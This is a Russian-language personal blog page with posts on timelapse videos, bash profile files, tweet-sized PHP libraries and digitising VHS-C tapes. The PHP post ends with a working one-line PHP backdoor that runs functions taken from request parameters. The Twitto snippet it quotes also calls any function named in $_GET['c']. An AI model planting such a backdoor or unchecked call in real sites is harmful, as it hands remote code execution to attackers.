↑ ↑ ↓ ↓ ← → ← → B A Start

Timelapses

Собираю красивые timelapse и hyperlapse видео снятые по большей части в России и странах бывшего СССР. А с недавнего времени решил выкладывать все новые находки в одном месте на своем сайте Smagin.net.

Таймлапс – это покадровая съемка самопроизвольных событий через одинаковый интервал времени. В городской среде это может быть движение неба и облаков, транспортный и человеческий трафик, рассветы и закаты и т.д.

Почему из России, ответ на этот вопрос прост. Все дело в том что я сам мало путешествовал по стране, а подобные материалы побуждают сорваться с места и посмотреть на города и места страны где родился и вырос. Кроме того международных сайтов подобной тематики уже очень много, а вот Российских аналогов я пока не встречал.

Гиперлапс – это такой подвид таймлапсов, при которых камера двигается по определенной траектории, при этом в кадре даже может ничего не происходить, но получается эффект, что камера летит или совершает облет вокруг главного объекта.

В качестве заключения хотел бы сказать, что буду рад любым ссылкам на интересные видео материалы. Писать можно в twitter или facebook.

В чем отличие .bash_profile и .bashrc

Работая с Линуксом, необходимо постоянно помнить, какой «профиль» нужно редактировать для автоматической установки переменных среды.

Согласно документации по bash, файл .bash_profile исполняется для оболочек, осуществляющих авторизацию пользователя, а файл .bashrc исполняется для интерактивных оболочек, не авторизующих пользователя.

При авторизации в консоли - физической или по SSH, выполняется .bash_profile.

Однако, если вы запускаете терминал в оконной системе (GNOME, KDE), режим оболочки в Emacs, или выполняете /bin/bash из другой оболочки, выполняется .bashrc.

Однако, большинство людей вызывают один скрипт из другого. Для достижения этого эффекта вам необходимо открыть файл .bash_profile и добавить следующие строки:

if [ -f ~/.bashrc ]; then
  source ~/.bashrc
fi

Теперь .bashrc будет исполняться при любой авторизации без необходимости дублировать код.

Нано библиотеки на PHP

Всегда интересно смотреть как люди сами себе создают ограничения и потом в этих ограниченных условиях создают интересные архитектурные решения. Так например я решил собрать несколько примеров библиотек на PHP, каждая из которых умещается в один твит (140 символов).

Для начала стоит начать этот обзор с Twitto, от автора фреймворка Symphony, торжественно именующего себя — A web framework in a tweet.

require __DIR__.'/c.php';
if (!is_callable($c = @$_GET['c'] ?: function() { echo 'Woah!'; }))
  throw new Exception('Error');
$c();

Функционал его достаточно скуден, а потому стоит разнообразить его включением «полноценного» DI контейнера Twittee, от того же автора.

class Container {
  protected $s=array();
  function __set($k, $c) { $this->s[$k]=$c; }
  function __get($k) { return $this->s[$k]($this); }
}

Ну а какой фреймворк без роутера, который также помещается в один твит и называется µ (мю).

class µ{static function __callStatic($n,$a){static$r;$n==@_?@$r[getenv(REQUEST_METHOD).getenv(REQUEST_URI)]():$r[$n.$a[0]]=$a[1];}}

А теперь имея базовый набор можно разнообразить этот набор системой посылки и приема ивентов, которая также именуется греческой буквой алфавита (сигма).

function ∑($n,$c=0){static$r;is_callable($c)?$r[$n][]=$c:@array_walk($r[$n],'call_user_func',$c?:[]);}

А напоследок хотелось бы отклонится от темы разработки и написать о самом крошечном бекдоре, который я видел на PHP и который не использует eval(), хотя при этом обладает прекрасным широким функционалом.

@extract($_REQUEST);@die($exit_($exit_code));

Оцифровка старых VHS кассет

Время идет и когда то привычные форматы хранения записей сейчас кажутся архаичными. Так и произошло когда собравшись выбросить свой старый VHS-магнитофон я обнаружил небольшой архив личных видео записей на VHS-C кассетах. Засунув их в видео камеру я с удивлением обнаружил, что видео камера за 10 лет простоя уже отказывается воспроизводить звук, а само качество видео становится все хуже.

Собравшись силами и терпением я решил оцифровать всю немногочисленную коллекцию VHS-C кассет. Чтобы все сделать в домашних условиях я воспользовался самым популярным решением, которое можно найти на прилавках китайских магазинов, а именно - EasyCap. А также адаптером c VHS-C на VHS кассеты.

EasyCap

Говоря о EasyCap, главное на что стоит обратить внимание при его выборе и покупке - это чип, на основе которого он сделан, мой оказался на китайском чипе Fushicai usbtv007 (EasyCap DC60++), что неприятно отразилось невозможностью использования программы захвата EasyCapViewer под OSX. Уже после покупки прочитав про разнообразие начинки данного класса устройств, самым оптимальным вариантом для покупки стало бы что-то на чипе Syntek или Somagic. В устройствах на этих чипах используется отдельный процессор для обработки звука, в отличии от usbtv007.

Захват с VHS

В случае с usbtv007 пришлось прибегнуть к компьютеру с Windows. Для захвата видео я использовал VirtualDub и кодек huffyuv. Про установку huffyuv под Windows 8 скажу сразу, что испробовал массу методов, а единственным удачным решением стал запуск командной строки от администратора и установив кодек используя команду:

%WINDIR%\syswow64\rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 0 c:\<путь_к_кодеку>\huffyuv.inf​

Для оцифровки я использовал один из многочисленных мануалов по захвату видео, а потому просто перечислю список плагинов VirtualDub которые были наложены на видео, для того чтобы VHS картина выглядела прилично:

Потратив не мало вечеров на захват видео в котором бы не было рассинхронизации видео и звука, на выходе у меня получился набор файлов размером от 10 до 20 GB каждый, в зависимости от времени кассеты.

Сжатие x264

Имея на каждую видеокассету по видеофайлу я воспользовался инструкцией по обработке и пересжатию видео. Используя программу MeGUI и кодек x264, после сжатия получились файлы приемлемых 700мб, на каждую кассету при разрешении 640х480.

Теперь имя полный набор оцифрованные копии всех VHS кассет можно спокойной совестью выбрасывать, занимающий место, видео магнитофон и камеру.